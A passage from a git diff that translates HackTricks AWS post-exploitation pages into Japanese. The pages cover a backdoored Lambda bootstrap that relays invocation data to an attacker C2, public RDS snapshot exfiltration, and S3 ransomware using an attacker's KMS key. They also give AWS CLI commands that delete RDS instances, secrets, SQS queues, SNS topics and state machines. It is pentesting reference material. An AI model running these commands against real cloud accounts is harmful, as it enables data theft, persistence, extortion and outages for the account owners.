current invocation to the init process**, so init thinks the bootstrap process is waiting for more invocations. - - A request must be sent to **`/${invoke-id}/response`** - - The invoke-id can be obtained from the stack of the legit **`bootstrap.py`** process using the [**inspect**](https://docs.python.org/3/library/inspect.html) python module (as [proposed here](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) or just requesting it again to **`/2018-06-01/runtime/invocation/next`** (as [proposed here](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)). -- Execute a malicious **`boostrap.py`** which will handle the next invocations - - For stealthiness purposes it's possible to send the lambda invocations parameters to an attackers controlled C2 and then handle the requests as usual. - - For this attack, it's enough to get the original code of **`bootstrap.py`** from the system or [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), add the malicious code and run it from the current lambda invocation. +- **現在の呼び出しの偽の結果をinitプロセスに送信**し、initがbootstrapプロセスがさらに呼び出しを待っていると考えさせる。 +- **`/${invoke-id}/response`**にリクエストを送信する必要があります。 +- invoke-idは、正当な**`bootstrap.py`**プロセスのスタックから[**inspect**](https://docs.python.org/3/library/inspect.html) pythonモジュールを使用して取得することができます（[ここで提案されたように](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)）または再度**`/2018-06-01/runtime/invocation/next`**にリクエストすることでも取得できます（[ここで提案されたように](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)）。 +- 次の呼び出しを処理する悪意のある**`boostrap.py`**を実行する。 +- ステルス性の目的で、lambda呼び出しパラメータを攻撃者が制御するC2に送信し、その後リクエストを通常通り処理することが可能です。 +- この攻撃では、システムから**`bootstrap.py`**の元のコードを取得するか、[**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py)から取得し、悪意のあるコードを追加して現在のlambda呼び出しから実行するだけで十分です。 -### Attack Steps +### 攻撃手順 -1. Find a **RCE** vulnerability. -2. Generate a **malicious** **bootstrap** (e.g. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)) -3. **Execute** the malicious bootstrap. - -You can easily perform these actions running: +1. **RCE**脆弱性を見つける。 +2. **悪意のある** **bootstrap**を生成する（例：[https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)）。 +3. **悪意のあるbootstrapを実行する**。 +これらのアクションは簡単に実行できます： ```bash python3 < \ - --db-subnet-group-name \ - --publicly-accessible \ - --vpc-security-group-ids +--db-instance-identifier "new-db-not-malicious" \ +--db-snapshot-identifier \ +--db-subnet-group-name \ +--publicly-accessible \ +--vpc-security-group-ids aws rds modify-db-instance \ - --db-instance-identifier "new-db-not-malicious" \ - --master-user-password 'Llaody2f6.123' \ - --apply-immediately +--db-instance-identifier "new-db-not-malicious" \ +--master-user-password 'Llaody2f6.123' \ +--apply-immediately # Connect to the new DB after a few mins ``` - ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` -An attacker with these permissions could **create an snapshot of a DB** and make it **publicly** **available**. Then, he could just create in his own account a DB from that snapshot. - -If the attacker **doesn't have the `rds:CreateDBSnapshot`**, he still could make **other** created snapshots **public**. +これらの権限を持つ攻撃者は、**DBのスナップショットを作成**し、それを**公開****可能**にすることができます。次に、彼はそのスナップショットから自分のアカウントにDBを作成することができます。 +攻撃者が**`rds:CreateDBSnapshot`**を持っていない場合でも、他の作成されたスナップショットを**公開**にすることができます。 ```bash # create snapshot aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier @@ -54,43 +51,32 @@ aws rds create-db-snapshot --db-instance-identifier --d aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all ## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"} ``` - ### `rds:DownloadDBLogFilePortion` -An attacker with the `rds:DownloadDBLogFilePortion` permission can **download portions of an RDS instance's log files**. If sensitive data or access credentials are accidentally logged, the attacker could potentially use this information to escalate their privileges or perform unauthorized actions. - +`rds:DownloadDBLogFilePortion` 権限を持つ攻撃者は **RDS インスタンスのログファイルの一部をダウンロード** できます。機密データやアクセス資格情報が誤ってログに記録された場合、攻撃者はこの情報を利用して権限を昇格させたり、不正な操作を行ったりする可能性があります。 ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` - -**Potential Impact**: Access to sensitive information or unauthorized actions using leaked credentials. +**潜在的な影響**: 漏洩した資格情報を使用して、機密情報へのアクセスや不正な操作が行われる可能性があります。 ### `rds:DeleteDBInstance` -An attacker with these permissions can **DoS existing RDS instances**. - +これらの権限を持つ攻撃者は、**既存のRDSインスタンスに対してDoS攻撃を行う**ことができます。 ```bash # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot ``` - -**Potential impact**: Deletion of existing RDS instances, and potential loss of data. +**潜在的な影響**: 既存のRDSインスタンスの削除と、データの損失の可能性。 ### `rds:StartExportTask` > [!NOTE] -> TODO: Test - -An attacker with this permission can **export an RDS instance snapshot to an S3 bucket**. If the attacker has control over the destination S3 bucket, they can potentially access sensitive data within the exported snapshot. +> TODO: テスト +この権限を持つ攻撃者は、**RDSインスタンスのスナップショットをS3バケットにエクスポート**できます。攻撃者が宛先のS3バケットを制御している場合、エクスポートされたスナップショット内の機密データにアクセスできる可能性があります。 ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` - -**Potential impact**: Access to sensitive data in the exported snapshot. +**潜在的な影響**: エクスポートされたスナップショット内の機密データへのアクセス。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md index 16cc52f27..cf3b2afbc 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md @@ -1,42 +1,38 @@ -# AWS - S3 Post Exploitation +# AWS - S3 ポストエクスプロイテーション {{#include ../../../banners/hacktricks-training.md}} ## S3 -For more information check: +詳細については、以下を確認してください： {{#ref}} ../aws-services/aws-s3-athena-and-glacier-enum.md {{#endref}} -### Sensitive Information +### 機密情報 -Sometimes you will be able to find sensitive information in readable in the buckets. For example, terraform state secrets. +時には、バケット内で読み取り可能な機密情報を見つけることができます。例えば、terraformの状態秘密。 -### Pivoting +### ピボッティング -Different platforms could be using S3 to store sensitive assets.\ -For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. An attacker with write permissions could **modify the code** from the bucket to **pivot** to other platforms, or **takeover accounts** modifying JS files. +異なるプラットフォームがS3を使用して機密資産を保存している可能性があります。\ +例えば、**airflow**が**DAGs**の**コード**をそこに保存しているか、**ウェブページ**がS3から直接提供されている可能性があります。書き込み権限を持つ攻撃者は、バケット内の**コードを変更**して他のプラットフォームに**ピボット**したり、JSファイルを変更して**アカウントを乗っ取る**ことができます。 -### S3 Ransomware +### S3 ランサムウェア -In this scenario, the **attacker creates a KMS (Key Management Service) key in their own AWS account** or another compromised account. They then make this **key accessible to anyone in the world**, allowing any AWS user, role, or account to encrypt objects using this key. However, the objects cannot be decrypted. +このシナリオでは、**攻撃者が自分のAWSアカウント**または別の侵害されたアカウントにKMS（キー管理サービス）キーを作成します。次に、この**キーを世界中の誰でもアクセスできるようにします**。これにより、任意のAWSユーザー、ロール、またはアカウントがこのキーを使用してオブジェクトを暗号化できます。しかし、オブジェクトは復号化できません。 -The attacker identifies a target **S3 bucket and gains write-level access** to it using various methods. This could be due to poor bucket configuration that exposes it publicly or the attacker gaining access to the AWS environment itself. The attacker typically targets buckets that contain sensitive information such as personally identifiable information (PII), protected health information (PHI), logs, backups, and more. +攻撃者はターゲットの**S3バケットを特定し、さまざまな方法で書き込みレベルのアクセスを取得**します。これは、公開されている不適切なバケット設定や、攻撃者がAWS環境自体にアクセスを得たことが原因である可能性があります。攻撃者は通常、個人を特定できる情報（PII）、保護された健康情報（PHI）、ログ、バックアップなどの機密情報を含むバケットをターゲットにします。 -To determine if the bucket can be targeted for ransomware, the attacker checks its configuration. This includes verifying if **S3 Object Versioning** is enabled and if **multi-factor authentication delete (MFA delete) is enabled**. If Object Versioning is not enabled, the attacker can proceed. If Object Versioning is enabled but MFA delete is disabled, the attacker can **disable Object Versioning**. If both Object Versioning and MFA delete are enabled, it becomes more difficult for the attacker to ransomware that specific bucket. +バケットがランサムウェアのターゲットになり得るかどうかを判断するために、攻撃者はその設定を確認します。これには、**S3オブジェクトバージョニング**が有効になっているか、**多要素認証削除（MFA削除）が有効になっているか**を確認することが含まれます。オブジェクトバージョニングが有効でない場合、攻撃者は進行できます。オブジェクトバージョニングが有効だがMFA削除が無効な場合、攻撃者は**オブジェクトバージョニングを無効にする**ことができます。オブジェクトバージョニングとMFA削除の両方が有効な場合、攻撃者がその特定のバケットをランサムウェア化するのはより困難になります。 -Using the AWS API, the attacker **replaces each object in the bucket with an encrypted copy using their KMS key**. This effectively encrypts the data in the bucket, making it inaccessible without the key. +AWS APIを使用して、攻撃者は**バケット内の各オブジェクトを自分のKMSキーを使用して暗号化されたコピーに置き換えます**。これにより、バケット内のデータが暗号化され、キーなしではアクセスできなくなります。 -To add further pressure, the attacker schedules the deletion of the KMS key used in the attack. This gives the target a 7-day window to recover their data before the key is deleted and the data becomes permanently lost. +さらなる圧力を加えるために、攻撃者は攻撃に使用されたKMSキーの削除をスケジュールします。これにより、ターゲットはキーが削除される前にデータを回復するための7日間のウィンドウを持つことになります。 -Finally, the attacker could upload a final file, usually named "ransom-note.txt," which contains instructions for the target on how to retrieve their files. This file is uploaded without encryption, likely to catch the target's attention and make them aware of the ransomware attack. +最後に、攻撃者は通常「ransom-note.txt」と名付けられた最終ファイルをアップロードし、ターゲットがファイルを取得する方法に関する指示を含めます。このファイルは暗号化されずにアップロードされ、ターゲットの注意を引き、ランサムウェア攻撃を認識させるためのものです。 -**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** +**詳細については** [**元の研究を確認してください**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**。** {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md index e59cbbaaa..726d65810 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md @@ -4,7 +4,7 @@ ## Secrets Manager -For more information check: +詳細については、次を確認してください： {{#ref}} ../aws-services/aws-secrets-manager-enum.md @@ -12,42 +12,32 @@ For more information check: ### Read Secrets -The **secrets themself are sensitive information**, [check the privesc page](../aws-privilege-escalation/aws-secrets-manager-privesc.md) to learn how to read them. +**シークレット自体は機密情報です**、[特権昇格ページを確認してください](../aws-privilege-escalation/aws-secrets-manager-privesc.md) それらを読む方法を学ぶために。 ### DoS Change Secret Value -Changing the value of the secret you could **DoS all the system that depends on that value.** +シークレットの値を変更すると、その値に依存する**すべてのシステムにDoSを引き起こす可能性があります。** > [!WARNING] -> Note that previous values are also stored, so it's easy to just go back to the previous value. - +> 前の値も保存されているため、簡単に前の値に戻ることができます。 ```bash # Requires permission secretsmanager:PutSecretValue aws secretsmanager put-secret-value \ - --secret-id MyTestSecret \ - --secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" +--secret-id MyTestSecret \ +--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" ``` - -### DoS Change KMS key - +### DoS KMSキーの変更 ```bash aws secretsmanager update-secret \ - --secret-id MyTestSecret \ - --kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE +--secret-id MyTestSecret \ +--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE ``` +### DoS シークレットの削除 -### DoS Deleting Secret - -The minimum number of days to delete a secret are 7 - +シークレットを削除するための最小日数は7日です。 ```bash aws secretsmanager delete-secret \ - --secret-id MyTestSecret \ - --recovery-window-in-days 7 +--secret-id MyTestSecret \ +--recovery-window-in-days 7 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md index e67a07739..f04a7b983 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - SES Post Exploitation +# AWS - SES ポストエクスプロイテーション {{#include ../../../banners/hacktricks-training.md}} ## SES -For more information check: +詳細については、以下を確認してください： {{#ref}} ../aws-services/aws-ses-enum.md @@ -12,76 +12,58 @@ For more information check: ### `ses:SendEmail` -Send an email. - +メールを送信します。 ```bash aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json ``` - -Still to test. +まだテスト中です。 ### `ses:SendRawEmail` -Send an email. - +メールを送信します。 ```bash aws ses send-raw-email --raw-message file://message.json ``` - -Still to test. +まだテスト中です。 ### `ses:SendTemplatedEmail` -Send an email based on a template. - +テンプレートに基づいてメールを送信します。 ```bash aws ses send-templated-email --source --destination --template ``` - -Still to test. +まだテスト中です。 ### `ses:SendBulkTemplatedEmail` -Send an email to multiple destinations - +複数の宛先にメールを送信します。 ```bash aws ses send-bulk-templated-email --source --template ``` - -Still to test. +まだテスト中です。 ### `ses:SendBulkEmail` -Send an email to multiple destinations. - +複数の宛先にメールを送信します。 ``` aws sesv2 send-bulk-email --default-content --bulk-email-entries ``` - ### `ses:SendBounce` -Send a **bounce email** over a received email (indicating that the email couldn't be received). This can only be done **up to 24h after receiving** the email. - +受信したメールに対して**バウンスメール**を送信します（メールが受信できなかったことを示します）。これは**メールを受信してから24時間以内**にのみ行うことができます。 ```bash aws ses send-bounce --original-message-id --bounce-sender --bounced-recipient-info-list ``` - -Still to test. +まだテスト中です。 ### `ses:SendCustomVerificationEmail` -This will send a customized verification email. You might need permissions also to created the template email. - +これにより、カスタマイズされた確認メールが送信されます。テンプレートメールを作成するための権限も必要になる場合があります。 ```bash aws ses send-custom-verification-email --email-address --template-name aws sesv2 send-custom-verification-email --email-address --template-name ``` - -Still to test. +まだテスト中です。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md index b24660ee1..8ac87ab71 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md @@ -1,84 +1,68 @@ -# AWS - SNS Post Exploitation +# AWS - SNS ポストエクスプロイテーション {{#include ../../../banners/hacktricks-training.md}} ## SNS -For more information: +詳細情報: {{#ref}} ../aws-services/aws-sns-enum.md {{#endref}} -### Disrupt Messages +### メッセージの妨害 -In several cases, SNS topics are used to send messages to platforms that are being monitored (emails, slack messages...). If an attacker prevents sending the messages that alert about it presence in the cloud, he could remain undetected. +いくつかのケースでは、SNSトピックは監視されているプラットフォーム（メール、Slackメッセージなど）にメッセージを送信するために使用されます。攻撃者がクラウド内での存在を警告するメッセージの送信を妨げることができれば、検出されずに済む可能性があります。 ### `sns:DeleteTopic` -An attacker could delete an entire SNS topic, causing message loss and impacting applications relying on the topic. - +攻撃者はSNSトピック全体を削除することができ、メッセージの損失を引き起こし、そのトピックに依存するアプリケーションに影響を与える可能性があります。 ```bash aws sns delete-topic --topic-arn ``` - -**Potential Impact**: Message loss and service disruption for applications using the deleted topic. +**潜在的な影響**: 削除されたトピックを使用しているアプリケーションに対するメッセージの損失とサービスの中断。 ### `sns:Publish` -An attacker could send malicious or unwanted messages to the SNS topic, potentially causing data corruption, triggering unintended actions, or exhausting resources. - +攻撃者はSNSトピックに悪意のあるまたは不要なメッセージを送信する可能性があり、データの破損を引き起こしたり、意図しないアクションをトリガーしたり、リソースを枯渇させたりする可能性があります。 ```bash aws sns publish --topic-arn --message ``` - -**Potential Impact**: Data corruption, unintended actions, or resource exhaustion. +**潜在的な影響**: データの破損、意図しないアクション、またはリソースの枯渇。 ### `sns:SetTopicAttributes` -An attacker could modify the attributes of an SNS topic, potentially affecting its performance, security, or availability. - +攻撃者はSNSトピックの属性を変更することができ、これによりそのパフォーマンス、セキュリティ、または可用性に影響を与える可能性があります。 ```bash aws sns set-topic-attributes --topic-arn --attribute-name --attribute-value ``` - -**Potential Impact**: Misconfigurations leading to degraded performance, security issues, or reduced availability. +**潜在的な影響**: 設定ミスにより、パフォーマンスの低下、セキュリティの問題、または可用性の低下が発生する可能性があります。 ### `sns:Subscribe` , `sns:Unsubscribe` -An attacker could subscribe or unsubscribe to an SNS topic, potentially gaining unauthorized access to messages or disrupting the normal functioning of applications relying on the topic. - +攻撃者はSNSトピックにサブスクライブまたはサブスクライブ解除を行うことで、メッセージへの不正アクセスを得たり、トピックに依存するアプリケーションの正常な機能を妨害したりする可能性があります。 ```bash aws sns subscribe --topic-arn --protocol --endpoint aws sns unsubscribe --subscription-arn ``` - -**Potential Impact**: Unauthorized access to messages, service disruption for applications relying on the affected topic. +**潜在的な影響**: メッセージへの不正アクセス、影響を受けたトピックに依存するアプリケーションのサービス中断。 ### `sns:AddPermission` , `sns:RemovePermission` -An attacker could grant unauthorized users or services access to an SNS topic, or revoke permissions for legitimate users, causing disruptions in the normal functioning of applications that rely on the topic. - +攻撃者は、不正なユーザーやサービスにSNSトピックへのアクセスを付与したり、正当なユーザーの権限を取り消したりすることで、トピックに依存するアプリケーションの正常な機能に支障をきたす可能性があります。 ```css aws sns add-permission --topic-arn --label --aws-account-id --action-name aws sns remove-permission --topic-arn --label ``` - -**Potential Impact**: Unauthorized access to the topic, message exposure, or topic manipulation by unauthorized users or services, disruption of normal functioning for applications relying on the topic. +**潜在的な影響**: トピックへの不正アクセス、メッセージの露出、または不正なユーザーやサービスによるトピックの操作、トピックに依存するアプリケーションの正常な機能の妨害。 ### `sns:TagResource` , `sns:UntagResource` -An attacker could add, modify, or remove tags from SNS resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. - +攻撃者はSNSリソースからタグを追加、変更、または削除することができ、タグに基づく組織のコスト配分、リソース追跡、およびアクセス制御ポリシーを混乱させる可能性があります。 ```bash aws sns tag-resource --resource-arn --tags Key=,Value= aws sns untag-resource --resource-arn --tag-keys ``` - -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. +**潜在的な影響**: コスト配分、リソース追跡、およびタグベースのアクセス制御ポリシーの混乱。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md index 872693e89..1c0b6df10 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - SQS Post Exploitation +# AWS - SQS ポストエクスプロイテーション {{#include ../../../banners/hacktricks-training.md}} ## SQS -For more information check: +詳細については、以下を確認してください： {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md @@ -12,80 +12,62 @@ For more information check: ### `sqs:SendMessage` , `sqs:SendMessageBatch` -An attacker could send malicious or unwanted messages to the SQS queue, potentially causing data corruption, triggering unintended actions, or exhausting resources. - +攻撃者は、SQS キューに悪意のあるまたは不要なメッセージを送信し、データの破損を引き起こしたり、意図しないアクションをトリガーしたり、リソースを枯渇させる可能性があります。 ```bash aws sqs send-message --queue-url --message-body aws sqs send-message-batch --queue-url --entries ``` - -**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion. +**潜在的な影響**: 脆弱性の悪用、データの破損、意図しないアクション、またはリソースの枯渇。 ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` -An attacker could receive, delete, or modify the visibility of messages in an SQS queue, causing message loss, data corruption, or service disruption for applications relying on those messages. - +攻撃者はSQSキュー内のメッセージを受信、削除、または可視性を変更することができ、メッセージの損失、データの破損、またはそれらのメッセージに依存するアプリケーションのサービス中断を引き起こす可能性があります。 ```bash aws sqs receive-message --queue-url aws sqs delete-message --queue-url --receipt-handle aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout ``` - -**Potential Impact**: Steal sensitive information, Message loss, data corruption, and service disruption for applications relying on the affected messages. +**潜在的な影響**: 機密情報の盗難、メッセージの損失、データの破損、影響を受けたメッセージに依存するアプリケーションのサービス中断。 ### `sqs:DeleteQueue` -An attacker could delete an entire SQS queue, causing message loss and impacting applications relying on the queue. - +攻撃者は、SQSキュー全体を削除することができ、メッセージの損失を引き起こし、キューに依存するアプリケーションに影響を与える可能性があります。 ```arduino Copy codeaws sqs delete-queue --queue-url ``` - -**Potential Impact**: Message loss and service disruption for applications using the deleted queue. +**潜在的な影響**: 削除されたキューを使用しているアプリケーションに対するメッセージの損失とサービスの中断。 ### `sqs:PurgeQueue` -An attacker could purge all messages from an SQS queue, leading to message loss and potential disruption of applications relying on those messages. - +攻撃者はSQSキューからすべてのメッセージを消去することができ、メッセージの損失とそれらのメッセージに依存するアプリケーションの潜在的な中断を引き起こす可能性があります。 ```arduino Copy codeaws sqs purge-queue --queue-url ``` - -**Potential Impact**: Message loss and service disruption for applications relying on the purged messages. +**潜在的な影響**: 消去されたメッセージに依存するアプリケーションのメッセージ損失とサービス中断。 ### `sqs:SetQueueAttributes` -An attacker could modify the attributes of an SQS queue, potentially affecting its performance, security, or availability. - +攻撃者はSQSキューの属性を変更することができ、これによりそのパフォーマンス、セキュリティ、または可用性に影響を与える可能性があります。 ```arduino aws sqs set-queue-attributes --queue-url --attributes ``` - -**Potential Impact**: Misconfigurations leading to degraded performance, security issues, or reduced availability. +**潜在的な影響**: 設定ミスにより、パフォーマンスの低下、セキュリティの問題、または可用性の低下が発生する可能性があります。 ### `sqs:TagQueue` , `sqs:UntagQueue` -An attacker could add, modify, or remove tags from SQS resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. - +攻撃者はSQSリソースからタグを追加、変更、または削除することができ、これにより組織のコスト配分、リソース追跡、およびタグに基づくアクセス制御ポリシーが混乱する可能性があります。 ```bash aws sqs tag-queue --queue-url --tags Key=,Value= aws sqs untag-queue --queue-url --tag-keys ``` - -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. +**潜在的な影響**: コスト配分、リソース追跡、およびタグベースのアクセス制御ポリシーの混乱。 ### `sqs:RemovePermission` -An attacker could revoke permissions for legitimate users or services by removing policies associated with the SQS queue. This could lead to disruptions in the normal functioning of applications that rely on the queue. - +攻撃者は、SQSキューに関連付けられたポリシーを削除することによって、正当なユーザーやサービスの権限を取り消すことができます。これにより、キューに依存するアプリケーションの正常な機能に混乱を引き起こす可能性があります。 ```arduino arduinoCopy codeaws sqs remove-permission --queue-url --label ``` - -**Potential Impact**: Disruption of normal functioning for applications relying on the queue due to unauthorized removal of permissions. +**潜在的な影響**: 権限の不正な削除により、キューに依存するアプリケーションの正常な機能が妨げられる。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md index 0d636f261..cf34dcf74 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md @@ -4,7 +4,7 @@ ## SSO & identitystore -For more information check: +詳細については、次を確認してください： {{#ref}} ../aws-services/aws-iam-enum.md @@ -12,8 +12,7 @@ For more information check: ### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment` -These permissions can be used to disrupt permissions: - +これらの権限は、権限を妨害するために使用できます： ```bash aws sso-admin delete-permission-set --instance-arn --permission-set-arn @@ -21,9 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn --target-id --target-type --permission-set-arn --principal-type --principal-id ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md index 6a0cd5ba9..5eead4a65 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md @@ -4,7 +4,7 @@ ## Step Functions -For more information about this AWS service, check: +このAWSサービスに関する詳細情報は、以下を確認してください： {{#ref}} ../aws-services/aws-stepfunctions-enum.md @@ -12,20 +12,19 @@ For more information about this AWS service, check: ### `states:RevealSecrets` -This permission allows to **reveal secret data inside an execution**. For it, it's needed to set Inspection level to TRACE and the revealSecrets parameter to true. +この権限は**実行内の秘密データを明らかにする**ことを許可します。そのためには、Inspection levelをTRACEに設定し、revealSecretsパラメータをtrueにする必要があります。
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias` -An attacker with these permissions would be able to permanently delete state machines, their versions, and aliases. This can disrupt critical workflows, result in data loss, and require significant time to recover and restore the affected state machines. In addition, it would allow an attacker to cover the tracks used, disrupt forensic investigations, and potentially cripple operations by removing essential automation processes and state configurations. +これらの権限を持つ攻撃者は、ステートマシン、そのバージョン、およびエイリアスを永久に削除することができます。これにより、重要なワークフローが中断され、データ損失が発生し、影響を受けたステートマシンの回復と復元に多大な時間が必要となる可能性があります。さらに、攻撃者は使用した痕跡を隠し、法医学的調査を妨害し、重要な自動化プロセスやステート構成を削除することで、業務を麻痺させる可能性があります。 > [!NOTE] > -> - Deleting a state machine you also delete all its associated versions and aliases. -> - Deleting a state machine alias you do not delete the state machine versions referecing this alias. -> - It is not possible to delete a state machine version currently referenced by one o more aliases. - +> - ステートマシンを削除すると、その関連するすべてのバージョンとエイリアスも削除されます。 +> - ステートマシンエイリアスを削除しても、このエイリアスを参照しているステートマシンバージョンは削除されません。 +> - 現在1つ以上のエイリアスによって参照されているステートマシンバージョンを削除することはできません。 ```bash # Delete state machine aws stepfunctions delete-state-machine --state-machine-arn @@ -34,45 +33,34 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn ``` - -- **Potential Impact**: Disruption of critical workflows, data loss, and operational downtime. +- **潜在的な影響**: 重要なワークフローの中断、データ損失、および運用のダウンタイム。 ### `states:UpdateMapRun` -An attacker with this permission would be able to manipulate the Map Run failure configuration and parallel setting, being able to increase or decrease the maximum number of child workflow executions allowed, affecting directly and performance of the service. In addition, an attacker could tamper with the tolerated failure percentage and count, being able to decrease this value to 0 so every time an item fails, the whole map run would fail, affecting directly to the state machine execution and potentially disrupting critical workflows. - +この権限を持つ攻撃者は、Map Runの失敗設定と並列設定を操作でき、許可される子ワークフロー実行の最大数を増減させることができ、サービスのパフォーマンスに直接影響を与えます。さらに、攻撃者は許容される失敗率とカウントを改ざんでき、この値を0に減少させることができるため、アイテムが失敗するたびに全体のマップランが失敗し、状態マシンの実行に直接影響を与え、重要なワークフローを中断させる可能性があります。 ```bash aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] ``` - -- **Potential Impact**: Performance degradation, and disruption of critical workflows. +- **潜在的な影響**: パフォーマンスの低下と重要なワークフローの中断。 ### `states:StopExecution` -An attacker with this permission could be able to stop the execution of any state machine, disrupting ongoing workflows and processes. This could lead to incomplete transactions, halted business operations, and potential data corruption. +この権限を持つ攻撃者は、任意のステートマシンの実行を停止でき、進行中のワークフローやプロセスを中断させる可能性があります。これにより、未完了の取引、停止したビジネスオペレーション、そして潜在的なデータの破損が引き起こされる可能性があります。 > [!WARNING] -> This action is not supported by **express state machines**. - +> このアクションは**エクスプレスステートマシン**ではサポートされていません。 ```bash aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] ``` - -- **Potential Impact**: Disruption of ongoing workflows, operational downtime, and potential data corruption. +- **潜在的な影響**: 継続中のワークフローの中断、運用のダウンタイム、及び潜在的なデータの破損。 ### `states:TagResource`, `states:UntagResource` -An attacker could add, modify, or remove tags from Step Functions resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. - +攻撃者は、Step 